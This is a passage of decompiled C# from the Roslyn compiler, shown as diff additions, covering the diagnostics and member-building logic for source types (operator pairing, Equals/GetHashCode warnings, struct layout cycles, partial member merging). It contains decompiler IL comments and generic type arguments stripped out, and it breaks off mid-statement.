//IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Invalid comparison between Unknown and I4 + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Invalid comparison between Unknown and I4 + if (!IsStatic) + { + return; + } + foreach (ImmutableArray value in GetMembersByName().Values) + { + ImmutableArray.Enumerator enumerator2 = value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current = enumerator2.Current; + if (!(current is TypeSymbol) && current.DeclaredAccessibility.HasProtected() && ((int)current.Kind != 9 || (int)((MethodSymbol)current).MethodKind != 4)) + { + diagnostics.Add(ErrorCode.ERR_ProtectedInStatic, current.GetFirstLocation(), current); + } + } + } + } + + private void CheckForUnmatchedOperators(BindingDiagnosticBag diagnostics) + { + CheckForUnmatchedOperator(diagnostics, "op_True", "op_False"); + CheckForUnmatchedOperator(diagnostics, "op_Equality", "op_Inequality"); + CheckForUnmatchedOperator(diagnostics, "op_LessThan", "op_GreaterThan"); + CheckForUnmatchedOperator(diagnostics, "op_LessThanOrEqual", "op_GreaterThanOrEqual"); + CheckForUnmatchedOperator(diagnostics, "op_CheckedDecrement", "op_Decrement", symmetricCheck: false); + CheckForUnmatchedOperator(diagnostics, "op_CheckedIncrement", "op_Increment", symmetricCheck: false); + CheckForUnmatchedOperator(diagnostics, "op_CheckedUnaryNegation", "op_UnaryNegation", symmetricCheck: false); + CheckForUnmatchedOperator(diagnostics, "op_CheckedAddition", "op_Addition", symmetricCheck: false); + CheckForUnmatchedOperator(diagnostics, "op_CheckedDivision", "op_Division", symmetricCheck: false); + CheckForUnmatchedOperator(diagnostics, "op_CheckedMultiply", "op_Multiply", symmetricCheck: false); + CheckForUnmatchedOperator(diagnostics, "op_CheckedSubtraction", "op_Subtraction", symmetricCheck: false); + CheckForUnmatchedOperator(diagnostics, "op_CheckedExplicit", "op_Explicit", symmetricCheck: false); + CheckForEqualityAndGetHashCode(diagnostics); + } + + private void CheckForUnmatchedOperator(BindingDiagnosticBag diagnostics, string operatorName1, string operatorName2, bool symmetricCheck = true) + { + ImmutableArray operators = GetOperators(operatorName1); + if (symmetricCheck) + { + ImmutableArray operators2 = GetOperators(operatorName2); + CheckForUnmatchedOperator(diagnostics, operators, operators2, operatorName2, reportOperatorNeedsMatch); + CheckForUnmatchedOperator(diagnostics, operators2, operators, operatorName1, reportOperatorNeedsMatch); + } + else if (!operators.IsEmpty) + { + ImmutableArray operators3 = GetOperators(operatorName2); + CheckForUnmatchedOperator(diagnostics, operators, operators3, operatorName2, reportCheckedOperatorNeedsMatch); + } + static void reportCheckedOperatorNeedsMatch(BindingDiagnosticBag bindingDiagnosticBag, string text, MethodSymbol op1) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CheckedOperatorNeedsMatch, op1.GetFirstLocation(), op1); + } + static void reportOperatorNeedsMatch(BindingDiagnosticBag bindingDiagnosticBag, string operatorMetadataName, MethodSymbol op1) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_OperatorNeedsMatch, op1.GetFirstLocation(), op1, SyntaxFacts.GetText(SyntaxFacts.GetOperatorKind(operatorMetadataName))); + } + } + + private static void CheckForUnmatchedOperator(BindingDiagnosticBag diagnostics, ImmutableArray ops1, ImmutableArray ops2, string operatorName2, Action reportMatchNotFoundError) + { + ImmutableArray.Enumerator enumerator = ops1.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + bool flag = false; + ImmutableArray.Enumerator enumerator2 = ops2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + MethodSymbol current2 = enumerator2.Current; + flag = DoOperatorsPair(current, current2); + if (flag) + { + break; + } + } + if (!flag) + { + reportMatchNotFoundError(diagnostics, operatorName2, current); + } + } + } + + internal static bool DoOperatorsPair(MethodSymbol op1, MethodSymbol op2) + { + if (op1.ParameterCount != op2.ParameterCount) + { + return false; + } + for (int i = 0; i < op1.ParameterCount; i++) + { + if (!op1.ParameterTypesWithAnnotations[i].Equals(op2.ParameterTypesWithAnnotations[i], (TypeCompareKind)63)) + { + return false; + } + } + if (!op1.ReturnType.Equals(op2.ReturnType, (TypeCompareKind)63)) + { + return false; + } + return true; + } + + private void CheckForEqualityAndGetHashCode(BindingDiagnosticBag diagnostics) + { + if (this.IsInterfaceType() || IsRecord || IsRecordStruct) + { + return; + } + bool flag = GetOperators("op_Equality").Any() || GetOperators("op_Inequality").Any(); + bool flag2 = TypeOverridesObjectMethod("Equals"); + if (flag || flag2) + { + bool flag3 = TypeOverridesObjectMethod("GetHashCode"); + if (flag2 && !flag3) + { + diagnostics.Add(ErrorCode.WRN_EqualsWithoutGetHashCode, GetFirstLocation(), this); + } + if (flag && !flag2) + { + diagnostics.Add(ErrorCode.WRN_EqualityOpWithoutEquals, GetFirstLocation(), this); + } + if (flag && !flag3) + { + diagnostics.Add(ErrorCode.WRN_EqualityOpWithoutGetHashCode, GetFirstLocation(), this); + } + } + } + + private void CheckForRequiredMemberAttribute(BindingDiagnosticBag diagnostics) + { + if (HasDeclaredRequiredMembers) + { + Binder.GetWellKnownTypeMember(DeclaringCompilation, (WellKnownMember)469, diagnostics, GetFirstLocation()); + } + if (base.HasAnyRequiredMembers) + { + Binder.GetWellKnownTypeMember(DeclaringCompilation, (WellKnownMember)476, diagnostics, GetFirstLocation()); + if (IsRecord) + { + Binder.GetWellKnownTypeMember(DeclaringCompilation, (WellKnownMember)470, diagnostics, GetFirstLocation()); + } + } + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if (baseTypeNoUseSiteDiagnostics is SourceMemberContainerTypeSymbol || (object)baseTypeNoUseSiteDiagnostics == null || !baseTypeNoUseSiteDiagnostics.HasRequiredMembersError) + { + return; + } + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol methodSymbol && methodSymbol.ShouldCheckRequiredMembers()) + { + diagnostics.Add(ErrorCode.ERR_RequiredMembersBaseTypeInvalid, methodSymbol.GetFirstLocation(), BaseTypeNoUseSiteDiagnostics); + } + } + } + + private void ReportRequiredMembers(BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.IsRequired()) + { + diagnostics.Add(ErrorCode.ERR_ScriptsAndSubmissionsCannotHaveRequiredMembers, current.GetFirstLocation()); + } + } + } + + private bool TypeOverridesObjectMethod(string name) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + foreach (MethodSymbol item in GetMembers(name).OfType()) + { + if (item.IsOverride && (int)item.GetConstructedLeastOverriddenMethod(this, requireSameReturnType: false).ContainingType.SpecialType == 1) + { + return true; + } + } + return false; + } + + private void CheckFiniteFlatteningGraph(BindingDiagnosticBag diagnostics) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + if (AllTypeArgumentCount() == 0) + { + return; + } + Dictionary dictionary = new Dictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance); + dictionary.Add(this, this); + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is FieldSymbol { IsStatic: not false } fieldSymbol && (int)fieldSymbol.Type.TypeKind == 10) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)fieldSymbol.Type; + if (InfiniteFlatteningGraph(this, namedTypeSymbol, dictionary)) + { + diagnostics.Add(ErrorCode.ERR_StructLayoutCycle, fieldSymbol.GetFirstLocation(), fieldSymbol, namedTypeSymbol); + break; + } + } + } + } + + private static bool InfiniteFlatteningGraph(SourceMemberContainerTypeSymbol top, NamedTypeSymbol t, Dictionary instanceMap) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Invalid comparison between Unknown and I4 + if (!t.ContainsTypeParameter()) + { + return false; + } + NamedTypeSymbol originalDefinition = t.OriginalDefinition; + if (instanceMap.TryGetValue(originalDefinition, out NamedTypeSymbol value)) + { + if (!TypeSymbol.Equals(value, t, (TypeCompareKind)24)) + { + return (object)originalDefinition == top; + } + return false; + } + instanceMap.Add(originalDefinition, t); + try + { + ImmutableArray.Enumerator enumerator = t.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is FieldSymbol { IsStatic: not false } fieldSymbol && (int)fieldSymbol.Type.TypeKind == 10) + { + NamedTypeSymbol t2 = (NamedTypeSymbol)fieldSymbol.Type; + if (InfiniteFlatteningGraph(top, t2, instanceMap)) + { + return true; + } + } + } + return false; + } + finally + { + instanceMap.Remove(originalDefinition); + } + } + + private void CheckSequentialOnPartialType(BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + if (!IsPartial) + { + return; + } + TypeLayout layout = Layout; + if (((TypeLayout)(ref layout)).Kind != LayoutKind.Sequential) + { + return; + } + SyntaxReference val = null; + if (SyntaxReferences.Length <= 1) + { + return; + } + ImmutableArray.Enumerator enumerator = SyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference current = enumerator.Current; + if (!(current.GetSyntax(default(CancellationToken)) is TypeDeclarationSyntax typeDeclarationSyntax)) + { + continue; + } + Enumerator enumerator2 = typeDeclarationSyntax.Members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (HasInstanceData(enumerator2.Current)) + { + if (val != null && val != current) + { + diagnostics.Add(ErrorCode.WRN_SequentialOnPartialClass, GetFirstLocation(), this); + return; + } + val = current; + } + } + } + if (val != null) + { + SynthesizedPrimaryConstructor primaryConstructor = PrimaryConstructor; + if ((object)primaryConstructor != null && primaryConstructor.GetCapturedParameters().Any() && (primaryConstructor.SyntaxRef.SyntaxTree != val.SyntaxTree || primaryConstructor.SyntaxRef.Span != val.Span)) + { + diagnostics.Add(ErrorCode.WRN_SequentialOnPartialClass, GetFirstLocation(), this); + } + } + } + + private static bool HasInstanceData(MemberDeclarationSyntax m) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + switch (m.Kind()) + { + case SyntaxKind.FieldDeclaration: + { + FieldDeclarationSyntax fieldDeclarationSyntax = (FieldDeclarationSyntax)m; + if (!ContainsModifier(fieldDeclarationSyntax.Modifiers, SyntaxKind.StaticKeyword)) + { + return !ContainsModifier(fieldDeclarationSyntax.Modifiers, SyntaxKind.ConstKeyword); + } + return false; + } + case SyntaxKind.PropertyDeclaration: + { + PropertyDeclarationSyntax propertyDeclarationSyntax = (PropertyDeclarationSyntax)m; + if (!ContainsModifier(propertyDeclarationSyntax.Modifiers, SyntaxKind.StaticKeyword) && !ContainsModifier(propertyDeclarationSyntax.Modifiers, SyntaxKind.AbstractKeyword) && !ContainsModifier(propertyDeclarationSyntax.Modifiers, SyntaxKind.ExternKeyword) && propertyDeclarationSyntax.AccessorList != null) + { + return All(propertyDeclarationSyntax.AccessorList.Accessors, (AccessorDeclarationSyntax a) => a.Body == null && a.ExpressionBody == null); + } + return false; + } + case SyntaxKind.EventFieldDeclaration: + { + EventFieldDeclarationSyntax eventFieldDeclarationSyntax = (EventFieldDeclarationSyntax)m; + if (!ContainsModifier(eventFieldDeclarationSyntax.Modifiers, SyntaxKind.StaticKeyword) && !ContainsModifier(eventFieldDeclarationSyntax.Modifiers, SyntaxKind.AbstractKeyword)) + { + return !ContainsModifier(eventFieldDeclarationSyntax.Modifiers, SyntaxKind.ExternKeyword); + } + return false; + } + default: + return false; + } + } + + private static bool All(SyntaxList list, Func predicate) where T : CSharpSyntaxNode + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = list.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (predicate(current)) + { + return true; + } + } + return false; + } + + private static bool ContainsModifier(SyntaxTokenList modifiers, SyntaxKind modifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = ((SyntaxTokenList)(ref modifiers)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + if (((Enumerator)(ref enumerator)).Current.IsKind(modifier)) + { + return true; + } + } + return false; + } + + private Dictionary, ImmutableArray> MakeAllMembers(BindingDiagnosticBag diagnostics) + { + MembersAndInitializers membersAndInitializers = GetMembersAndInitializers(); + Dictionary, ImmutableArray> membersByName; + if (!membersAndInitializers.HaveIndexers && !IsTupleType && _lazyEarlyAttributeDecodingMembersDictionary != null) + { + membersByName = _lazyEarlyAttributeDecodingMembersDictionary; + } + else + { + membersByName = ToNameKeyedDictionary(membersAndInitializers.NonTypeMembers); + AddNestedTypesToDictionary(membersByName, GetTypeMembersDictionary()); + } + MergePartialMembers(ref membersByName, diagnostics); + return membersByName; + } + + private static void AddNestedTypesToDictionary(Dictionary, ImmutableArray> membersByName, Dictionary, ImmutableArray> typesByName) + { + ReadOnlyMemory readOnlyMemory = default(ReadOnlyMemory); + ImmutableArray immutableArray = default(ImmutableArray); + foreach (KeyValuePair, ImmutableArray> item in typesByName) + { + KeyValuePairUtil.Deconstruct, ImmutableArray>(item, ref readOnlyMemory, ref immutableArray); + ReadOnlyMemory key = readOnlyMemory; + ImmutableArray immutableArray2 = StaticCast.From(immutableArray); + if (membersByName.TryGetValue(key, out ImmutableArray value)) + { + membersByName[key] = ImmutableArrayExtensions.Concat(value, immutableArray2); + } + else + { + membersByName.Add(key, immutableArray2); + } + } + } + + private MembersAndInitializers? BuildMembersAndInitializers(BindingDiagnosticBag diagnostics) + { + DeclaredMembersAndInitializers declaredMembersAndInitializers = getDeclaredMembersAndInitializers(); + if (declaredMembersAndInitializers == null) + { + return null; + } + MembersAndInitializersBuilder membersAndInitializersBuilder = new MembersAndInitializersBuilder(declaredMembersAndInitializers); + AddSynthesizedMembers(membersAndInitializersBuilder, declaredMembersAndInitializers, diagnostics); + if (Volatile.Read(in _lazyMembersAndInitializers) != null) + { + membersAndInitializersBuilder.Free(); + return null; + } + return membersAndInitializersBuilder.ToReadOnlyAndFree(declaredMembersAndInitializers); + DeclaredMembersAndInitializers? buildDeclaredMembersAndInitializers(BindingDiagnosticBag diagnostics2) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + DeclaredMembersAndInitializersBuilder declaredMembersAndInitializersBuilder = new DeclaredMembersAndInitializersBuilder(); + AddDeclaredNontypeMembers(declaredMembersAndInitializersBuilder, diagnostics2); + TypeKind typeKind = TypeKind; + if ((int)typeKind <= 5) + { + if ((int)typeKind != 2 && (int)typeKind == 5) + { + CheckForStructDefaultConstructors(declaredMembersAndInitializersBuilder.NonTypeMembers, isEnum: true, diagnostics2); + } + } + else if ((int)typeKind != 7) + { + if ((int)typeKind != 10) + { + if ((int)typeKind == 12) + { + } + } + else + { + CheckForStructBadInitializers(declaredMembersAndInitializersBuilder, diagnostics2); + CheckForStructDefaultConstructors(declaredMembersAndInitializersBuilder.NonTypeMembers, isEnum: false, diagnostics2); + } + } + if (Volatile.Read(in _lazyDeclaredMembersAndInitializers) != DeclaredMembersAndInitializers.UninitializedSentinel) + { + declaredMembersAndInitializersBuilder.Free(); + return null; + } + return declaredMembersAndInitializersBuilder.ToReadOnlyAndFree(DeclaringCompilation); + } + DeclaredMembersAndInitializers? getDeclaredMembersAndInitializers() + { + DeclaredMembersAndInitializers lazyDeclaredMembersAndInitializers = _lazyDeclaredMembersAndInitializers; + if (lazyDeclaredMembersAndInitializers != DeclaredMembersAndInitializers.UninitializedSentinel) + { + return lazyDeclaredMembersAndInitializers; + } + if (Volatile.Read(in _lazyMembersAndInitializers) != null) + { + return null; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + lazyDeclaredMembersAndInitializers = buildDeclaredMembersAndInitializers(instance); + DeclaredMembersAndInitializers declaredMembersAndInitializers2 = Interlocked.CompareExchange(ref _lazyDeclaredMembersAndInitializers, lazyDeclaredMembersAndInitializers, DeclaredMembersAndInitializers.UninitializedSentinel); + if (declaredMembersAndInitializers2 != DeclaredMembersAndInitializers.UninitializedSentinel) + { + ((BindingDiagnosticBag)(object)instance).Free(); + return declaredMembersAndInitializers2; + } + AddDeclarationDiagnostics(instance); + ((BindingDiagnosticBag)(object)instance).Free(); + return lazyDeclaredMembersAndInitializers; + } + } + + internal ImmutableArray GetSimpleProgramEntryPoints() + { + if (_lazySimpleProgramEntryPoints.IsDefault) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + ImmutableArray value = buildSimpleProgramEntryPoint(instance); + if (ImmutableInterlocked.InterlockedInitialize(ref _lazySimpleProgramEntryPoints, value)) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _lazySimpleProgramEntryPoints; + ImmutableArray buildSimpleProgramEntryPoint(BindingDiagnosticBag diagnostics) + { + if (!(ContainingSymbol is NamespaceSymbol { IsGlobalNamespace: not false }) || Name != "Program") + { + return ImmutableArray.Empty; + } + ArrayBuilder val = null; + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration current = enumerator.Current; + if (current.IsSimpleProgram) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + else + { + Binder.Error(diagnostics, ErrorCode.ERR_SimpleProgramMultipleUnitsWithTopLevelStatements, (Location)(object)current.NameLocation); + } + val.Add(new SynthesizedSimpleProgramEntryPointSymbol(this, current, diagnostics)); + } + } + return val?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + } + + internal IEnumerable GetMethodsPossiblyCapturingPrimaryConstructorParameters() + { + DeclaredMembersAndInitializers declaredMembersAndInitializers = Volatile.Read(in _lazyDeclaredMembersAndInitializers); + ImmutableArray nonTypeMembers; + SynthesizedPrimaryConstructor primaryConstructor; + if (declaredMembersAndInitializers != null && declaredMembersAndInitializers != DeclaredMembersAndInitializers.UninitializedSentinel) + { + nonTypeMembers = declaredMembersAndInitializers.NonTypeMembers; + primaryConstructor = declaredMembersAndInitializers.PrimaryConstructor; + } + else + { + MembersAndInitializers membersAndInitializers = GetMembersAndInitializers(); + nonTypeMembers = membersAndInitializers.NonTypeMembers; + primaryConstructor = membersAndInitializers.PrimaryConstructor; + } + ImmutableArray.Enumerator enumerator = nonTypeMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((object)current != primaryConstructor && !current.IsStatic && current is MethodSymbol method && MethodCompiler.GetMethodToCompile(method) is SourceMemberMethodSymbol { IsExtern: false, IsAbstract: false, SynthesizesLoweredBoundBody: false } sourceMemberMethodSymbol) + { + yield return sourceMemberMethodSymbol; + } + } + } + + internal ImmutableArray GetMembersToMatchAgainstDeclarationSpan() + { + DeclaredMembersAndInitializers declaredMembersAndInitializers = Volatile.Read(in _lazyDeclaredMembersAndInitializers); + if (declaredMembersAndInitializers != null && declaredMembersAndInitializers != DeclaredMembersAndInitializers.UninitializedSentinel) + { + return declaredMembersAndInitializers.NonTypeMembers; + } + return GetMembersAndInitializers().NonTypeMembers; + } + + internal ImmutableArray GetCandidateMembersForLookup(string name) + { + bool flag = (((object)this != null && (IsRecord || IsRecordStruct)) ? true : false); + if (flag || state.HasComplete(CompletionPart.Members)) + { + return GetMembers(name); + } + DeclaredMembersAndInitializers declaredMembersAndInitializers = Volatile.Read(in _lazyDeclaredMembersAndInitializers); + ImmutableArray nonTypeMembers; + SynthesizedPrimaryConstructor primaryConstructor; + if (declaredMembersAndInitializers != null && declaredMembersAndInitializers != DeclaredMembersAndInitializers.UninitializedSentinel) + { + nonTypeMembers = declaredMembersAndInitializers.NonTypeMembers; + primaryConstructor = declaredMembersAndInitializers.PrimaryConstructor; + } + else + { + MembersAndInitializers membersAndInitializers = GetMembersAndInitializers(); + nonTypeMembers = membersAndInitializers.NonTypeMembers; + primaryConstructor = membersAndInitializers.PrimaryConstructor; + } + if (primaryConstructor.ParameterCount == 0) + { + return GetMembers(name); + } + ImmutableArray immutableArray = ImmutableArrayExtensions.Cast(GetTypeMembers(name)); + ArrayBuilder val = null; + ImmutableArray.Enumerator enumerator = nonTypeMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (!current.IsAccessor() && current.Name == name) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(immutableArray.Length + 1); + } + val.Add(current); + } + } + if (val == null) + { + return immutableArray; + } + val.AddRange(immutableArray); + return val.ToImmutableAndFree(); + } + + private void AddSynthesizedMembers(MembersAndInitializersBuilder builder, DeclaredMembersAndInitializers declaredMembersAndInitializers, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + if ((int)TypeKind == 2) + { + AddSynthesizedSimpleProgramEntryPointIfNecessary(builder, declaredMembersAndInitializers); + } + TypeKind typeKind = TypeKind; + if ((int)typeKind <= 5) + { + if ((int)typeKind == 2 || (int)typeKind == 5) + { + goto IL_0034; + } + } + else if ((int)typeKind == 7 || (int)typeKind == 10 || (int)typeKind == 12) + { + goto IL_0034; + } + goto IL_0046; + IL_0034: + AddSynthesizedTypeMembersIfNecessary(builder, declaredMembersAndInitializers, diagnostics); + AddSynthesizedConstructorsIfNecessary(builder, declaredMembersAndInitializers, diagnostics); + goto IL_0046; + IL_0046: + AddSynthesizedTupleMembersIfNecessary(builder, declaredMembersAndInitializers); + } + + private void AddDeclaredNontypeMembers(DeclaredMembersAndInitializersBuilder builder, BindingDiagnosticBag diagnostics) + { + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration current = enumerator.Current; + if (current.HasAnyNontypeMembers) + { + if (_lazyMembersAndInitializers != null) + { + break; + } + SyntaxNode syntax = current.SyntaxReference.GetSyntax(default(CancellationToken)); + switch (syntax.Kind()) + { + case SyntaxKind.EnumDeclaration: + AddEnumMembers(builder, (EnumDeclarationSyntax)(object)syntax, diagnostics); + break; + case SyntaxKind.DelegateDeclaration: + SourceDelegateMethodSymbol.AddDelegateMembers(this, builder.NonTypeMembers, (DelegateDeclarationSyntax)(object)syntax, diagnostics); + break; + case SyntaxKind.NamespaceDeclaration: + case SyntaxKind.FileScopedNamespaceDeclaration: + AddNonTypeMembers(builder, ((BaseNamespaceDeclarationSyntax)(object)syntax).Members, diagnostics); + break; + case SyntaxKind.CompilationUnit: + AddNonTypeMembers(builder, ((CompilationUnitSyntax)(object)syntax).Members, diagnostics); + break; + case SyntaxKind.InterfaceDeclaration: + AddNonTypeMembers(builder, ((InterfaceDeclarationSyntax)(object)syntax).Members, diagnostics); + break; + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + { + TypeDeclarationSyntax typeDeclarationSyntax = (TypeDeclarationSyntax)(object)syntax; + noteTypeParameters(typeDeclarationSyntax, builder, diagnostics); + AddNonTypeMembers(builder, typeDeclarationSyntax.Members, diagnostics); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)syntax.Kind()); + } + } + } + void noteTypeParameters(TypeDeclarationSyntax typeDeclarationSyntax2, DeclaredMembersAndInitializersBuilder declaredMembersAndInitializersBuilder, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + ParameterListSyntax parameterList = typeDeclarationSyntax2.ParameterList; + if (parameterList != null) + { + if (declaredMembersAndInitializersBuilder.DeclarationWithParameters == null) + { + declaredMembersAndInitializersBuilder.DeclarationWithParameters = typeDeclarationSyntax2; + SynthesizedPrimaryConstructor synthesizedPrimaryConstructor = new SynthesizedPrimaryConstructor(this, typeDeclarationSyntax2); + if (IsStatic) + { + SyntaxToken identifier = typeDeclarationSyntax2.Identifier; + bindingDiagnosticBag.Add(ErrorCode.ERR_ConstructorInStaticClass, ((SyntaxToken)(ref identifier)).GetLocation()); + } + declaredMembersAndInitializersBuilder.PrimaryConstructor = synthesizedPrimaryConstructor; + CSharpCompilation declaringCompilation = DeclaringCompilation; + declaredMembersAndInitializersBuilder.UpdateIsNullableEnabledForConstructorsAndFields(synthesizedPrimaryConstructor.IsStatic, declaringCompilation, parameterList); + if (typeDeclarationSyntax2 != null) + { + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeIfClass = typeDeclarationSyntax2.PrimaryConstructorBaseTypeIfClass; + if (primaryConstructorBaseTypeIfClass != null) + { + ArgumentListSyntax argumentList = primaryConstructorBaseTypeIfClass.ArgumentList; + if (argumentList != null) + { + declaredMembersAndInitializersBuilder.UpdateIsNullableEnabledForConstructorsAndFields(synthesizedPrimaryConstructor.IsStatic, declaringCompilation, argumentList); + } + } + } + } + else + { + bindingDiagnosticBag.Add(ErrorCode.ERR_MultipleRecordParameterLists, ((SyntaxNode)parameterList).Location); + } + } + } + } + + internal Binder GetBinder(CSharpSyntaxNode syntaxNode) + { + return DeclaringCompilation.GetBinder(syntaxNode); + } + + private void MergePartialMembers(ref Dictionary, ImmutableArray> membersByName, BindingDiagnosticBag diagnostics) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder> instance = ArrayBuilder>.GetInstance(membersByName.Count); + instance.AddRange((IEnumerable>)membersByName.Keys); + Dictionary dictionary = new Dictionary(MemberSignatureComparer.PartialMethodsComparer); + Enumerator> enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + ReadOnlyMemory current = enumerator.Current; + dictionary.Clear(); + ImmutableArray.Enumerator enumerator2 = membersByName[current].GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (!(enumerator2.Current is SourceMemberMethodSymbol { IsPartial: not false } sourceMemberMethodSymbol)) + { + continue; + } + SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol; + SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol2; + if (dictionary.TryGetValue(sourceMemberMethodSymbol, out var value)) + { + sourceOrdinaryMethodSymbol = (SourceOrdinaryMethodSymbol)value; + sourceOrdinaryMethodSymbol2 = (SourceOrdinaryMethodSymbol)sourceMemberMethodSymbol; + if (sourceOrdinaryMethodSymbol2.IsPartialImplementation) + { + if (!sourceOrdinaryMethodSymbol.IsPartialImplementation) + { + MethodSymbol otherPartOfPartial = sourceOrdinaryMethodSymbol.OtherPartOfPartial; + if ((object)otherPartOfPartial == null || (object)otherPartOfPartial == sourceOrdinaryMethodSymbol2) + { + goto IL_00d3; + } + } + diagnostics.Add(ErrorCode.ERR_PartialMethodOnlyOneActual, sourceOrdinaryMethodSymbol2.GetFirstLocation()); + continue; + } + goto IL_00d3; + } + dictionary.Add(sourceMemberMethodSymbol, sourceMemberMethodSymbol); + continue; + IL_00d3: + if 